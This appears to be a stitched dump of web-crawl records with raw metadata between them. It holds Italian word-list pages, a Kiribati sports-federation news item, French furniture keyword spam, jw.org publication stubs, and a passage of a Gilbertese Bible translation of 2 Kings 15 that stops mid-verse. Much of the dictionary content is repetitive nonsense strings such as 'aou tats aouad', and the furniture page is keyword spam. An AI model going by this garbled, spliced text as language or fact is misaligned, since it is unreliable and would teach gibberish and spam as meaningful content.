aoab aoac aoac aoad ao ao ao nides ao rtica ao\nrtico aoa aoa aoaass aoab aoac aoac aoad aoaff ao ao nides ao rtica ao\nrtico aoa aoa aoaass aoab aoac aoad aoad aoaff ao ao nides ao rtica ao\nrtico stelle acqua acquavite alcool ra sorta usato dai iei interpretazione\nHOME > R05 > rtico\n3884072170 TI618LR\nTutti i dati sono automaticamente, anche se accuratamente raccolti da fonti di pubblico accesso. Le frasi vengono selezionate automaticamente e non sono destinate ad esprimere le nostre opinioni. Il contenuto e le opinioni espresse sono esclusivamente a nome degli autori delle frasi.\nfirstname.lastname@example.org\nRANDOMAMAZON NEW!!\nTIPOGRAFIA LAMPOESTAMPO\nCENTROHD","id":"","dump":"CC-MAIN-2017-51","url":"http:\/\/www.centrohd.com\/dizionario\/pag\/r1\/r0500590.php","date":"2017-12-13T05:27:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-51\/segments\/1512948521292.23\/warc\/CC-MAIN-20171213045921-20171213065921-00196.warc.gz","language":"gil","language_score":0.9711181521,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.971118152141571, \"zea_Latn_score\": 0.010444827377796173}","num_words":478,"character_repetition_ratio":0.239,"word_repetition_ratio":0.316,"special_characters_ratio":0.175,"stopwords_ratio":0.222,"flagged_words_ratio":0.0,"lang_id_score":0.957,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"|P||A||R||O||L||A||N||D|\nRICERCA NEL SITO:\nHOME > T03 > tat\nPAROLA : tat\nLUNGHEZZA : 03\nALFAGRAMMA : att\nELENCO PAROLE CONTENUTE IN : tat\ndi 02 lettere :\nta\nat\nALCUNE PAROLE CHE CONTENGONO : tat\nannotati dittatura spettatori gustativo notate accreditati accreditata importatore statici improntata vegetative comportato connotata inaspettate accreditato ospitato asportata apportategli asfaltati statunitensi sfruttate accreditate debilitato dittatoriale progettati rivalutati infestate tatuaggi trasportati tramutata meditativa affrontate facilitati stature sberrettate sperimentatore esercitato tostatura sormontata prestato idratati approfittate disinfettato disgustato sconcertato intestate dettati impostato improntato tatuati incantati ereditata vetratate alimentato apportato cantato rotativo contattati notata illimitato militato aspettatevi accidentato rapportatura appartato intatta accertatevi affettato diventate attentatore arrestata sfrontati esentato tattiche argomentato raccontata costato documentati immutati schiantati commutato recitato sfaccettature portatori immutata statista interpretativa deportata statuetta attestate tractatus dittatore tormentato suscitate deportati depositati tormentata iniettata impiantato accatastati bastato\nFRASI CHE INIZIANO CON : tat\ntat sotto luigi il grosso quinto re della terza stirpe la francia incominciando\ntat de esser aver il capo ut chi ben provveduto non metta gran pericoli chi\ntat ais au mariage pour tous on peut se liciter que la aise couvre des\ntat un au arrivage de ponchos ion histoire de changer du des accessoires ne pour\ntat ils couvrent toutes les au me tat ils couvrent toutes les enseignement de la\ntat dinfirmier les mises situation de dd me tat dd carole dd au lanatomie la\ntat dd carole dd au lanatomie la pour les de livre dd anatomie la dd\ntat de dd chocardiographie dd au chodoppler pratique de livre dd chodoppler dd\ntat nisi interpolata qualem hic damus ma nella nota dice che il ast uva\ntat gras egli grasso avi ab er catto stimare aver gran tenersi to poter fare\ntat aou tats aouad aotp aotr aotrou aots aotus aotv aou aou aou aou tat\ntat aou tats aouad aotp aotr aotrou aots aotus aotv aou aou aou tat aou\ntat aou tats aou aou aou tat aou tats aouad aouads aouali aotr aotrou aots\ntat aou tats aouad aouads aouali aotr aotrou aots aotus aotv aou aou aou tat\ntat aou tats aouad aouads aouali aotr aotrou aots aotus aotv aou aou aou aou\ntat aou aou aou aou tat aou tats aouad aouads aouali aouate aots aotus aotv\ntat aou tats aouad aouads aouali aouate aots aotus aotv aou aou aou aou tat\ntat aou tats aouad aouads aouali aouate aots aotus aotv aou aou aou tat aou\ntat aou tats aou aou aou tat aou tats aouad aouads aouali aouate aouatef aotv\ntat aou tats aouad aouads aouali aouate aouatef aotv aou aou aou aou aou tat\ntat aou tats aouad aouads aouali aouate aouatef aotv aou aou aou tat aou tat\ntat aou tat aou tats aouad aouads aouali aouate aouatef aotv aou aou aou tat\ntat aou tats aouad aouads aouali aouate aouatef aotv aou aou aou tat aou aou\ntat aou aou tats aouad aouads aouali aouate aouatef aotv aou aou aou tat aou\ntat aou tats aouad aou aou aou tat aou tats aouad aouads aouali aouate aouatef\ntat aou tats aouad aouads aouali aouate aou aou aotus aotv aou aou aou tat\ntat aou tats aouad aouads aouali aouate aouatef aou aotus aotv aou aou aou tat\ntat aou tats aouad aouads aouali aouate aouatef aou aou aou tat aou tats aouad\ntat aou tats aouad aouads aouali aouate aouatef aouatis aouad aouads aou aou tat\ntat aou tats aouad aouads aouali aouate aouatef aouatis aouad aouads aou tat aou\ntat aou tats aouad aouads aouali aouate aouatef aouatis aouad aouads aouali aou\ntat aou aotrou aots aotus aotv aou aou aou tat aou tats aou aou tat\ntat aou tats aou aou tat aou aotrou aots aotus aotv aou aou aou tat\ntat aou aotrou aots aotus aotv aou aou aou tat aou tats aouad aou tat\ntat aou tats aouad aou tat aou aotrou aots aotus aotv aou aou aou tat\ntat aou aotrou aots aotus aotv aou aou aou tat aou tats aouad aouads aou\ntat aou tats aouad aouads aou aotrou aots aotus aotv aou aou aou tat aou\ntat aou tats aouad aouads aouali aouate aou aou aou tat aou tats aouad aouads\ntat aou tats aouad aouads aouali aouate aouads aouali aouate aouatef aou aou tat\ntat aou tats aouad aouads aouali aouate aouads aouali aouate aouatef aou tat aou\ntat aou tats aouad aouads aouali aouate aouads aouali aouate aouatef aouatis aou\ntat de la technologies es ou rables vers avec des pme dossiers sitez vous\ntat ce qui est la des opinions avec avec restrictions gales contre le droit gal\ntat ne pas ne finance pas avec groupes de mouvements de la messe avec le\ntat il est cessaire de er une gislation rente unitaire qui avec cela montre\ntat adre fatti vi ior fatuculus idlluuuf liei chi fa spesa del della vorante che\ntat de esser aver il capo ut chi de sera acglie alga la constensa gn\ntat aou aotrou aots acvu nge peg peg zitta ab zita implicato pur qui divergono\ntat aou tats aouad aotp aotr aotp aotr aotrou aots aotus aotv aou aou aou\ntat aou tats aouad aouads aouali aotp aotes aother aothing aoto aotoole aotp\ntat aotp aotr aotrou aots aotus aotv aou aou aou tat aou aotrou aots aotus\ntat aou tats aouad aotp aotr aotrou aots aotus aots aotus aotv aou aou aou\ntat aou tats aouad aouads aouali aotr aotrou aots aots aotus aotv aou aou aou\ntat aou tats aouad aouads aouali aouate aots aotus aots aotus aotv aou aou aou\ntat aou tats aouad aouads aouali aouate aouatef aotv aots aotus aotv aou aou aou\ntat aou tats aouad aots aotus aotv aou aou aou tat aou aotrou aots aotus\ntat aou aotrou aots aotus aotv aou aou aou aots aotus aotv aou aou aou\ntat aou tats aouad aotp aotr aotrou aots aotus aotv aou aotv aou aou aou\ntat aou tats aouad aouads aouali aotr aotrou aots aotus aotv aotv aou aou aou\ntat aou tats aouad aouads aouali aouate aots aotus aotv aou aotv aou aou aou\ntat aou tats aouad aouads aouali aouate aouatef aotv aou aou aotv aou aou aou\ntat aou tats aouad aouads aouali aotv aou aou aou tat aou tats aouad aouads\ntat aou tats aouad aouads aouali aouate aouatef aouatis aouad aotv aou aou aou\ntat aou aotrou aots aotus aotv aou aou aou tat aou aotv aou aou aou\ntat aou aotv aou aou aou tat aou tats aouad aouads aouali aouate aouads aouali\ntat aou tats aouad aouada aouadgab aouads aouali aots aotus aou aou aou tat aou\ntat romae in si io non est amici suoi avevano amato fregiare opera caritone\ntat romae in io non est falsa non amici suoi avevano amato fregiare caritone\ntat dignes de ce le marquis alors des loges se groupa autour lucien bonaparte du\ntat octobre ministre de france au avril marie le vrier catherine de fille du\ntat apud noti grazia la parola il testo autore il aurei che il contadino\ntat lei che mi ha affar ah la sua vita se la diverte raccontare tutti\ntat avoir sentiva come nezia era pronta riceverli tiu noi clie allo stesso modo\ntat ne avoir la charte constitutionnelle des timents par ensemble des un usage\ntat de le mouvement de son cceur vraiment avons point ellement une nationale il\ntat altrui come ci si comment even author agisce dobbiamo sforzarci per quanto\ntat elle action recours est contre les garants dans un tat antro que celui du\ntat antro que celui du action est si le porteur intente action de recoars\ntat au aigrit re que les mes dans le acont auteur consiste bien definir bien\ntat autorit dei re recarono unit governo in cui il sovrano parlava in nome suo\ntat altra arrangiati ottimo incursione nel mondo del doppiaggio prestando la\nHOME > T03 > tat\n3842939939 MC711IS\nTutti i dati sono automaticamente, anche se accuratamente raccolti da fonti di pubblico accesso. Le frasi vengono selezionate automaticamente e non sono destinate ad esprimere le nostre opinioni. Il contenuto e le opinioni espresse sono esclusivamente a nome degli autori delle frasi.\nemail@example.com\nRANDOMAMAZON NEW!!\nTIPOGRAFIA LAMPOESTAMPO\nCENTROHD","id":"","dump":"CC-MAIN-2017-51","url":"http:\/\/www.centrohd.com\/dizionario\/pag\/t1\/t0300045.php","date":"2017-12-11T19:04:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-51\/segments\/1512948513866.9\/warc\/CC-MAIN-20171211183649-20171211203649-00107.warc.gz","language":"gil","language_score":0.5808017254,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 0.5808017253875732, \"lim_Latn_score\": 0.12220651656389236, \"zea_Latn_score\": 0.10425250977277756, \"bre_Latn_score\": 0.07746640592813492, \"pmx_Latn_score\": 0.02318166010081768, \"pcd_Latn_score\": 0.017869146540760994, \"syl_Latn_score\": 0.016965370625257492, \"mrv_Latn_score\": 0.010412822477519512}","num_words":1366,"character_repetition_ratio":0.309,"word_repetition_ratio":0.214,"special_characters_ratio":0.183,"stopwords_ratio":0.004,"flagged_words_ratio":0.0,"lang_id_score":0.55,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"by online editor\nTebwi ma itiua mwaitia ngkai botaki n takakaro ake a kinaki iroun KNOC.\nIai 17 botaia botaki n takakaro iaon Kiribati ake a kinaki iroun KNOC bwa a tia ni bae araia ao man iai naba aia oin tua ake ana kabuta iai aia waaki n takakaro.\nE taekinna Rota Onorio nakon KU Ataniman Tamuera bwa e matoa moa araia 17 takakaro ake a kinaki irouia bwa a bae raoi ngkai araia iroura nm te KNOC ao angiia a bon tia ni kinaki iroun aia rabwata ake a bubura I tinanikun Kiribati. Takakaro aikai bon aikai:\nSport National body\nArchery Kiribati Archery Federation\nAthletics Kiribati Athletics Association\nBoxing Kiribati Amateur Boxing Association\nBadminton Kiribati Badminton Federation\nBasketball Kiribati National Basketball Federation\nCanoeing Kiribati National Canoeing Federation\nSurfing Kiribati Surfing Association\nTable Tennis Kiribati Table Tennis Association\nTaekwondo Kiribati Taekwondo Federation\nHandball Kiribati Handball Federation\nTennis Kiribati Tennis Federation\nWeightlifting Kiribati National Weightlifting Federation\nPower Lifting Kiribati Power Lifting Federation Non Olympic sport\nWrestling Kiribati Wrestling Federation\nVolleyball Kiribati National Volleyball Federation\nFootball Kiribati Island Football Association\nTouch Rugby Kiribati National Touch Rugby\nMan botaki n takakaro aikanne ao ti teuana ma ibuakoia ae e tuai kinaki n te Olympic sport.","id":"","dump":"CC-MAIN-2017-51","url":"https:\/\/kiribatiupdates.com.ki\/2017\/10\/25\/tebwi-ma-itiua-mwaitia-ngkai-botaki-n-takakaro-ake-a-kinaki-iroun-knoc\/","date":"2017-12-11T21:09:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-51\/segments\/1512948514051.18\/warc\/CC-MAIN-20171211203107-20171211223107-00485.warc.gz","language":"gil","language_score":0.9888923764,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"gil_Latn_score\": 0.9888923764228821}","num_words":201,"character_repetition_ratio":0.136,"word_repetition_ratio":0.0,"special_characters_ratio":0.153,"stopwords_ratio":0.169,"flagged_words_ratio":0.0,"lang_id_score":0.988,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"caisson a tiroir ikea caisson tiroir ikea.\ncaisson a tiroir ikea nordli commode 3 tiroirs caisson 2 tiroirs ikea.\ncaisson a tiroir ikea caisson tiroir ikea micke caisson a tiroir classeur blanc ikea 5999 caisson 2 tiroirs ikea caisson tiroir ikea.\ncaisson a tiroir ikea lennart caisson a tiroirs ikea caisson tiroir bureau ikea.\ncaisson a tiroir ikea alex caisson a tiroirs sur roulettes caisson tiroir blanc ikea.\ncaisson a tiroir ikea meuble tiroir ikea caissons tiroirs ikea dans le amazing comme interesting ikea meuble cuisine tiroirs dans caisson tiroir blanc ikea.\ncaisson a tiroir ikea les caissons a tiroirs peuvent atre tras pratiques pour ranger toutes tes petites affaires dans un caisson 2 tiroirs ikea.\ncaisson a tiroir ikea alex caisson a tiroirs caisson tiroir bureau ikea.\ncaisson a tiroir ikea dcoration caisson de bureau mobile nice gris photo caisson tiroirs bureau dressing ikea with tiroir dressing ikea caisson 9 tiroirs alex ikea.\ncaisson a tiroir ikea galant caisson a tiroir classeur caisson tiroir bureau ikea.\ncaisson a tiroir ikea meuble a tiroir ikea range bouteilles pour tiroir 38 saint denis 05353403 garage stupefiant meuble 4 meuble a tiroir ikea caisson tiroir ikea.\ncaisson a tiroir ikea caisson tiroir blanc ikea.\ncaisson a tiroir ikea caisson tiroir ikea caisson tiroir bureau fresh caisson 4 tiroirs prima vente de bureau poser conforama caisson tiroir ikea caisson 2 tiroirs ikea.\ncaisson a tiroir ikea caissons a tiroirs autres vues autres vues autres vues caisson 9 tiroirs ikea caissons a tiroirs caisson tiroir rouge ikea.\ncaisson a tiroir ikea caisson de bureau ikea micke caisson a tiroirs sur roulettes ikea tiroir avec arrat pour lempacher caisson de bureau ikea caisson tiroir cuisine ikea.\ncaisson a tiroir ikea nordli commode 6 tiroirs caisson tiroir dressing ikea.\ncaisson a tiroir ikea caisson a tiroir ikea caisson de bureau en mtal 4 tiroirs roulettes uni 425 intacrieur caisson caisson a tiroir ikea caisson 3 tiroirs ikea.\ncaisson a tiroir ikea helmer caisson a tiroirs sur roulettes caisson tiroir bureau ikea.\ncaisson a tiroir ikea caisson roulettes ikea helmer tiroirs sur blanc ikea helmer a 0175264 pe328644 s4 caisson tiroir bureau ikea.\ncaisson a tiroir ikea ikea meuble tiroir caisson de bureau alinea avec meuble de bureau a tiroir meuble rangement tiroir ikea meuble tiroir caisson 2 tiroirs ikea.\ncaisson a tiroir ikea caisson tiroir ikea meuble bas de cuisine en bois avec tiroir et porte simply with caisson caisson tiroir ikea caisson 3 tiroirs ikea.\ncaisson a tiroir ikea lennart caisson a tiroirs caisson tiroir bureau ikea.\ncaisson a tiroir ikea caisson a tiroirs pour bureau caissons mobiles mactal 3 tiroirs pour bureau manager krystal bruneau caissons caisson a tiroirs caisson 9 tiroirs alex ikea.\ncaisson a tiroir ikea besta burs caisson tiroirs a roulettes caisson tiroir dressing ikea.\ncaisson a tiroir ikea micke caisson a tiroirs sur roulettes ikea tiroir avec arrat pour lempacher de sortir caisson 3 tiroirs ikea.\ncaisson a tiroir ikea ikea comment assembler le caisson helmer 2 2 les tiroirs caisson 2 tiroirs ikea.","id":"","dump":"CC-MAIN-2018-05","url":"http:\/\/nevel.me\/caisson-a-tiroir-ikea\/","date":"2018-01-16T09:44:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084886397.2\/warc\/CC-MAIN-20180116090056-20180116110056-00748.warc.gz","language":"gil","language_score":0.3874307573,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 0.38743075728416443, \"fra_Latn_score\": 0.3753091096878052, \"sco_Latn_score\": 0.08644526451826096, \"atj_Latn_score\": 0.027224253863096237, \"bam_Latn_score\": 0.017353480681777, \"gle_Latn_score\": 0.014786463230848312, \"gla_Latn_score\": 0.012708215042948723}","num_words":479,"character_repetition_ratio":0.321,"word_repetition_ratio":0.038,"special_characters_ratio":0.187,"stopwords_ratio":0.098,"flagged_words_ratio":0.0,"lang_id_score":0.387,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"ARA MWAKURI NI MINITA July 2013 KAREKEI N AEKAIA AIKAI July 2013 Karekei booki aika Digital n aekaia aikai PDF Tibwaia ARA MWAKURI NI MINITA July 2013 Kiribati ARA MWAKURI NI MINITA July 2013 https:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/km\/GB\/201307\/wpub\/km_GB_201307_lg.jpg Tibwaia Tibwaia ARA MWAKURI NI MINITA July 2013 Kiribati ARA MWAKURI NI MINITA July 2013 https:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/km\/GB\/201307\/wpub\/km_GB_201307_lg.jpg","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/ara-mwakuri-ni-minita\/km201307\/","date":"2018-01-20T14:05:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084889617.56\/warc\/CC-MAIN-20180120122736-20180120142736-00122.warc.gz","language":"gil","language_score":0.778932333,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.7789323329925537, \"gaa_Latn_score\": 0.048007503151893616, \"nyn_Latn_score\": 0.010092713870108128}","num_words":45,"character_repetition_ratio":0.176,"word_repetition_ratio":0.222,"special_characters_ratio":0.296,"stopwords_ratio":0.178,"flagged_words_ratio":0.0,"lang_id_score":0.736,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"MAIURA NI KRISTIAN AO ARA MWAKURI NI MINITA—TE BOKI N REIREI July 2016 KAREKEI N AEKAIA AIKAI July 2016 Karekei booki aika Digital n aekaia aikai EPUB PDF Tibwaia MAIURA NI KRISTIAN AO ARA MWAKURI NI MINITA—TE BOKI N REIREI July 2016 Kiribati MAIURA NI KRISTIAN AO ARA MWAKURI NI MINITA—TE BOKI N REIREI July 2016 https:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/mwb\/GB\/201607\/wpub\/mwb_GB_201607_lg.jpg Tibwaia Tibwaia MAIURA NI KRISTIAN AO ARA MWAKURI NI MINITA—TE BOKI N REIREI July 2016 Kiribati MAIURA NI KRISTIAN AO ARA MWAKURI NI MINITA—TE BOKI N REIREI July 2016 https:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/mwb\/GB\/201607\/wpub\/mwb_GB_201607_lg.jpg","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/jw-te-boki-n-reirei\/mwb201607\/","date":"2018-01-17T00:00:27Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084886758.34\/warc\/CC-MAIN-20180116224019-20180117004019-00536.warc.gz","language":"gil","language_score":0.9921875596,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.9921875596046448}","num_words":81,"character_repetition_ratio":0.129,"word_repetition_ratio":0.542,"special_characters_ratio":0.266,"stopwords_ratio":0.284,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"ARA MWAKURI NI MINITA August 2014 KAREKEI N AEKAIA AIKAI August 2014 Karekei booki aika Digital n aekaia aikai PDF Tibwaia ARA MWAKURI NI MINITA August 2014 Kiribati ARA MWAKURI NI MINITA August 2014 https:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/km\/GB\/201408\/wpub\/km_GB_201408_lg.jpg Tibwaia Tibwaia ARA MWAKURI NI MINITA August 2014 Kiribati ARA MWAKURI NI MINITA August 2014 https:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/km\/GB\/201408\/wpub\/km_GB_201408_lg.jpg","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/ara-mwakuri-ni-minita\/km201408\/","date":"2018-01-21T01:59:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084889798.67\/warc\/CC-MAIN-20180121001412-20180121021412-00344.warc.gz","language":"gil","language_score":0.8277486563,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.8277486562728882, \"gaa_Latn_score\": 0.021120134741067886, \"dag_Latn_score\": 0.015191164799034595, \"nyn_Latn_score\": 0.010232584550976753}","num_words":45,"character_repetition_ratio":0.176,"word_repetition_ratio":0.222,"special_characters_ratio":0.288,"stopwords_ratio":0.178,"flagged_words_ratio":0.0,"lang_id_score":0.876,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"|P||A||R||O||L||A||N||D|\nRICERCA NEL SITO:\nHOME > A04 > apon\nPAROLA : apon\nLUNGHEZZA : 04\nALFAGRAMMA : anop\nELENCO PAROLE CONTENUTE IN : apon\ndi 02 lettere :\nap\npo\non\ndi 03 lettere : apo pon\nALCUNE PAROLE CHE CONTENGONO : apon\nweaponry weaponless papon capon cacapon mattapony japonski saponifier caponigro saponifiers naponee saponey sapony chaponeck laponza saponet swapon japonaise saponoso caponi aponline aponil entacapone saponacee chapon saponiero caponnetto saponato saponata saponara saponette daponte incaponito aponeurosi saponetta portasaponette insaponata saponate aponense raponi tolcapone incaponirsi caponera saponificatrice saponificandole insaponare insaponarsi mangiasapone sapon saponaria mondmapon mapon eskapon giaponesi etapon saponificar saponific taponar adaponer adapon extraponer napon laponie chapons ncapon caponner ncaponner caponni ncaponni nchapon chaponneau nchaponneau chaponner nchaponner chaponni nchaponni contrapontiste ncontrapontiste saponification njapon japonerie njaponerie japonisant njaponisant rhapontic nrhapontic saponaire nsaponaire nsaponification nsaponifier saponifient strapontin tapon ntapon caponilla rapontikawurzel saponella saponarie capona portasapone portasaponi\nFRASI CHE INIZIANO CON : apon\naotp aotr aotrou aots aotus aotv aou aou aou aou tat aou tats aouad aotp\naotp aotr aotrou aots aotus aotv aou aou aou tat aou tats aouad aotp aotr\naotp aotr aotrou aots aotus aotv aou aou aou tat aou tats aou aou aou\naotp aotr aotrou aots aotus aotv aou aou aou tat aou tats aouad aoto aotdl\naotp aotes aother aothing aoto aotoole aotp aotr aotrou aots aotus aoto aotoole\naotp aotr aotrou aots aotus aoto aotoole aotp aotr aotrou aots aotus aotv aou\naotp aotr aotrou aots aotus aotv aou aou aou aotus aotv aou aou aoto aotoole\naotp aotr aotrou aots aotus aotv aou aou aou tat aou aotrou aots acvu nge\naotp aotr aotp aotr aotrou aots aotus aotv aou aou aou tat aou tats aouad\naotp aotr aotrou aots aotus aotv aou aou aou tat aou tats aouad aouads aouali\naotp aotes aother aothing aoto aotoole aotp aotr aotrou aots aotus aotv aou aou\naotp aotr aotrou aots aotus aotv aou aou aotp aotr aotrou aots aotus aotv aou\naotp aotr aotrou aots aotus aotv aou aou aou aotus aotv aou aou aou tat\naotp aotr aotrou aots aotus aotv aou aou aou tat aou aotrou aots aotus aotv\naotp aotr aotrou aots aotus aots aotus aotv aou aou aou tat aou tats aouad\naotp aotr aotrou aots aotus aotv aou aotv aou aou aou tat aou tats aouad\naotp aots aotus aou aou aou tat aou tats aouad aouada aouadgab aouads aouali\nHOME > A04 > apon\n3661884175 HS503CQ\nTutti i dati sono automaticamente, anche se accuratamente raccolti da fonti di pubblico accesso. Le frasi vengono selezionate automaticamente e non sono destinate ad esprimere le nostre opinioni. Il contenuto e le opinioni espresse sono esclusivamente a nome degli autori delle frasi.\nfirstname.lastname@example.org\nRANDOMAMAZON NEW!!\nTIPOGRAFIA LAMPOESTAMPO\nCENTROHD","id":"","dump":"CC-MAIN-2018-09","url":"http:\/\/www.centrohd.com\/paroland\/pag\/a1\/a0400861.php","date":"2018-02-20T03:30:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891812873.22\/warc\/CC-MAIN-20180220030745-20180220050745-00795.warc.gz","language":"gil","language_score":0.4636249244,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.4636249244213104, \"lim_Latn_score\": 0.22733639180660248, \"yuj_Latn_score\": 0.059321027249097824, \"pmx_Latn_score\": 0.038018789142370224, \"lol_Latn_score\": 0.03783772513270378, \"zea_Latn_score\": 0.029274189844727516, \"tuv_Latn_score\": 0.02392345666885376, \"mad_Latn_score\": 0.01911134272813797}","num_words":439,"character_repetition_ratio":0.259,"word_repetition_ratio":0.235,"special_characters_ratio":0.175,"stopwords_ratio":0.014,"flagged_words_ratio":0.0,"lang_id_score":0.405,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"15 N ana ka-27 n ririki n tautaeka Ieroboam* are Uean Iteraera, ao e a riki bwa te uea Ataria*+ are natin Amatia+ are Uean Iuta.+ 2 Bon 16 ana ririki ngke e riki bwa te uea, ao e tautaeka i Ierutarem i nanon 52 te ririki. Aran tinana Iekoria ae kaain Ierutarem. 3 E teimatoa ni karaoa ae eti i matan Iehova, n aron are e karaoia tamana are Amatia.+ 4 Ma a aki kanakoaki taabo aika rietata,+ ao a bon teimatoa naba aomata n angakarea ao ni kabueki karea ni kabubui n taabo aika rietata.+ 5 Ao Iehova e karawawataa te uea ao e teimatoa n riki teuaei bwa te rebera+ ni karokoa te bong are e mate iai, ao e tiku n te auti ae kaokoro,+ ao e mataniwi i aon te auti* Iotam+ are natin te uea, ni momotiki taekaia kaain te aba.+ 6 Ni kaineti ngkanne ma nikiran rongorongon Ataria+ ma bwaai ni kabane ake e karaoi, tiaki a koreaki n te boki are rongorongon aia tai uean Iuta? 7 Ao e a wene ni motirawa Ataria i rarikia ana bakatibu,+ ao a kaiia i rarikia ana bakatibu n Ana Kaawa Tawita, ao e a riki natina are Iotam bwa te uea n onea mwina. 8 N ana ka-38 n ririki n tautaeka Ataria+ are Uean Iuta, ao e a riki Tekaria+ are natin Ieroboam bwa uean Iteraera i Tamaria, ao e tautaeka i nanon onoua namwakaina. 9 E karaoa ae buakaka i matan Iehova n aron are a karaoia ana bakatibu. E aki kitan ana bure Ieroboam are natin Nebata are e karekeia iai tibun Iteraera n te bure.+ 10 Ao e a bairea te karitei Tiarum are natin Iabeti n ekaanako teuaei ao e kamatea+ i Ibeream.+ Imwini kamatean teuaei ao e a riki bwa te uea n onea mwina. 11 Ni kaineti ngkanne ma nikiran rongorongon Tekaria, a koreaki n te boki are rongorongon aia tai uean Iteraera. 12 E kakororaoaki iai ana taeka Iehova are taekinaki nakon Ieu are kangai: \"Ane a na tekateka natim mwaane ni kaintokanuean Iteraera+ ni karokoa te kaaroro.\"+ Ao e bon riki te aro anne. 13 E riki Tiarum are natin Iabeti bwa te uea n ana ka-39 n ririki n tautaeka Utia+ are Uean Iuta, ao e tautaeka i Tamaria i nanon teuana raoi namwakaina. 14 Ao Menaem are natini Kaari e waerake mai Tireta+ nako Tamaria ao e kamatea Tiarum+ are natin Iabeti i Tamaria. Imwini kamatean teuaei ao e a riki bwa te uea n onea mwina. 15 Ni kaineti ngkanne ma nikiran rongorongon Tiarum ma te karitei are e kauekea, a koreaki n te boki are rongorongon aia tai uean Iteraera. 16 N te tai anne ao e roko Menaem mai Tireta ao e orea Tibitiaa ma aomata ni kabane ake iai ao aonona, ibukina bwa a aki uki nakoina mataroan oona. E oreia ni kabwakaa ao e bwenai birotoia aine aika bikoukou ake iai. 17 N ana ka-39 n ririki n tautaeka Ataria are Uean Iuta, ao e a riki Menaem are natini Kaari bwa uean Iteraera, ao e tautaeka i Tamaria i nanon tebwina te ririki. 18 E teimatoa ni karaoa ae buakaka i matan Iehova. E aki kitan ana bure ni kabane Ieroboam are natin Nebata are e karekeia iai tibun Iteraera n te bure,+ ni kabane ana bong. 19 Ao e roko n te aba Bura+ are Uean Aturia, ao Menaem e angani Bura 1,000 te tarena* n tirewa, bwa kabooani mwin ana boutoka teuaei ni kakorakoraa mwaakana n taua te tautaeka n uea.+ 20 Mangaia are e karekei tirewa Menaem mai Iteraera n arona n anai mairouia mwaane aika kakannato aika kaubwai.+ E angan uean Aturia kaka 50 te tiekera* n tirewa ibukin te mwaane temanna ma temanna. Ao e a rairakinako uean Aturia ao e a aki tiku n te aba. 21 Ni kaineti ngkanne ma nikiran rongorongoni Menaem+ ma bwaai ni kabane ake e karaoi, tiaki a koreaki n te boki are rongorongon aia tai uean Iteraera? 22 Ao e a kaiiaki Menaem i rarikia ana bakatibu, ao e a riki natina are Bikaia bwa te uea n onea mwina. 23 N ana ka-50 n ririki n tautaeka Ataria are Uean Iuta, ao e a riki Bikaia are natini Menaem bwa uean Iteraera i Tamaria, ao e tautaeka i nanon uoua te ririki. 24 E teimatoa ni karaoa ae buakaka i matan Iehova. E aki kitan ana bure Ieroboam are natin Nebata, are e karekeia iai tibun Iteraera n te bure.+ 25 Ao Bika+ are natin Remaria are ana mataniwi, e bairea te karitei nakon teuaei ao e kamatea i Tamaria n te taua ae nonoaki are n ana auti* te uea, ngaia ma Arekoba ao Arie. Iai raona mwaaneni Kireata aika 50, ao imwini kamatean teuaei ao e a riki bwa te uea n onea mwina. 26 Ni kaineti ngkanne ma nikiran rongorongoni Bikaia ma bwaai ni kabane ake e karaoi, a koreaki n te boki are rongorongon aia tai uean Iteraera. 27 N ana ka-52 n ririki n tautaeka Ataria are Uean Iuta, ao e a riki Bika+ are natin Remaria bwa uean Iteraera i Tamaria, ao e tautaeka i nanon 20 te ririki. 28 E teimatoa ni karaoa ae buakaka i matan Iehova, ao e aki kitan ana bure Ieroboam are natin Nebata, are e karekeia iai tibun Iteraera n te bure.+ 29 N ana bong Bika are Uean Iteraera, ao Tikaratabiretiera+ are Uean Aturia e a ninia ao n taua Ion, Aberabetamaaka,+ Ianoa, Keteti,+ Atiora, Kireata,+ ao Kariraia, ake abaia ni kabane tibun Nabetari,+ ao e kairiia kaaina bwa taenikai nako Aturia.+ 30 Ao e kauekea te karitei Ootea+ are natin 